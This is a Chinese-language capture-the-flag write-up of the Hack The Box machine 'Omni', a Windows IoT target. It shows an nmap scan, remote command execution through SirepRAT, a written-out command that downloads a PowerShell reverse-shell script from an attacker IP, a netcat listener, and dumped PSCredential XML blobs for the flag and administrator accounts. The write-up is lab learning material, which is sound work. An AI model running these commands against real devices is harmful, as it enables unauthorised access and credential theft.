HTB-Omni-Writeup

前言

Author: 0x584A

知识:

  • nmap
  • Windows IOT
  • SirepRAT
  • powershell
  • netcat

信息收集

└─$ cat tcpscripts.nmap 
# Nmap 7.91 scan initiated Sun Dec  6 15:25:14 2020 as: nmap -Pn -p 135,5985,8080,29817,29819 -sC -sV -oA scans/tcpscripts 10.10.10.204
Nmap scan report for 10.10.10.204
Host is up (0.32s latency).

PORT      STATE SERVICE  VERSION
135/tcp   open  msrpc    Microsoft Windows RPC
5985/tcp  open  upnp     Microsoft IIS httpd
8080/tcp  open  upnp     Microsoft IIS httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Windows Device Portal
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title.
29817/tcp open  unknown
29819/tcp open  arcserve ARCserve Discovery
Service Info: Host: PING; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Dec  6 15:26:43 2020 -- 1 IP address (1 host up) scanned in 88.93 seconds

从扫描结果中获得两个有用的信息,分别是135、8080端口。

访问 8080 端口提示需要基本验证,随后google了一下关键字 “Windows Device Portal”,找到了官方手册。

https://docs.microsoft.com/en-us/windows/iot-core/manage-your-device/deviceportal

Windows IoT, 曾经叫做Windows Embedded,是微软的嵌入式系列产品家族,微软在开始发行Windows 10嵌入式版本时将”Windows Embedded”更名为”Windows IoT”

在文档中有一串账号密码,输入后并没有返回登录状态,说要不存在弱口令。

Username: `Administrator`
Password: `p@ssw0rd`

反弹shell

尝试关键字 “windows device portal vulnerability” 找到利用工具:SirepRAT

https://github.com/SafeBreach-Labs/SirepRAT

这个工具通过 RCE 执行 windows iot 核心板上的SYSTEM,可以读、写、命令执行。直接克隆这个代码仓库(我用的python2,Kali最新版没有pip2,所以需要自己安装下,之后用pip2去安装项目需要的依赖组件)。

root@kali:~# wget https://bootstrap.pypa.io/2.6/get-pip.py
root@kali:~# python2 get-pip.py
root@kali:~# pip -V

后来我看他这里是默认python3,但我kali的python3运行报错… 奇怪的问题

尝试读取文件信息,成功。

生成了一个msf的木马,尝试加载至攻击机。发现 certutil 不存在,System.Net.WebClient 失败,只有 Invoke-WebRequest 是成功的。

python2 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c powershell.exe Invoke-WebRequest -uri http://10.10.14.172/Invoke-PowerShellTcp.ps1  -OutFile C:\Windows\Temp\Invoke-PowerShellTcp.ps1" --v

但是呢,又出现新的问题,木马不上线… 尝试用 nishang 的 shell 脚本。

开NC:nc.traditional -nvlp 9998

发现还是无法上线,有点无奈… 直接上传 nc 的编译包,尝试反弹shell。


OK,这次成功了,翻翻文件,找用户的flag。

PS C:\data\users\app> dir         
dir


    Directory: C:\data\users\app


Mode                LastWriteTime         Length Name                          
----                -------------         ------ ----                          
d-r---         7/4/2020   7:28 PM                3D Objects                    
d-r---         7/4/2020   7:28 PM                Documents                     
d-r---         7/4/2020   7:28 PM                Downloads                     
d-----         7/4/2020   7:28 PM                Favorites                     
d-r---         7/4/2020   7:28 PM                Music                         
d-r---         7/4/2020   7:28 PM                Pictures                      
d-r---         7/4/2020   7:28 PM                Videos                        
-ar---         7/4/2020   8:20 PM            344 hardening.txt                 
-ar---         7/4/2020   8:14 PM           1858 iot-admin.xml                 
-ar---         7/4/2020   9:53 PM           1958 user.txt                      


PS C:\data\users\app> type user.txt 
type user.txt
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">flag</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7</SS>
    </Props>
  </Obj>
</Objs>
PS C:\data\users\app> type iot-admin.xml
type iot-admin.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">omni\administrator</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa28853640000000002000000000010660000000100002000000000855856bea37267a6f9b37f9ebad14e910d62feb252fdc98a48634d18ae4ebe000000000e80000000020000200000000648cd59a0cc43932e3382b5197a1928ce91e87321c0d3d785232371222f554830000000b6205d1abb57026bc339694e42094fd7ad366fe93cbdf1c8c8e72949f56d7e84e40b92e90df02d635088d789ae52c0d640000000403cfe531963fc59aa5e15115091f6daf994d1afb3c2643c945f2f4b8f15859703650f2747a60cf9e70b56b91cebfab773d0ca89a57553ea1040af3ea3085c27</SS>
    </Props>
  </Obj>
</Objs>
PS C:\data\users\app>

均是加密的,看来是需要解密了。继续google关键字:PSCredential decode,找到一篇加解密的。


综合得到的信息,user.txt 是一个密码凭证的加密文件。生成加密方式是将用户名和密码,通过 PSCredential 对象实现转换成安全字符串。支持两个种格式,一种是一串0100000...开头的字符串,或导出为 xml 文件。

但是,问题又特么来了… 加载失败…

获取对应flag

上面的路不通那就新建个账号干进去看看有啥功能。

有命令执行模块,但因为权限问题无法访问到我刚才上传到 temp 目录的 nc。

这里卡了好很久… 尝试找找看有什么执行脚本,比如 .bat.vbs

有一个可疑的 r.bat,查看脚本内容。内容为固定 app、administrator 账号的密码。

有密码就好办了,IOT登录控制台,找到命令执行处,上传 nc 到共享文件夹,反弹对应身份的 shell 到 kali 。

参考


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。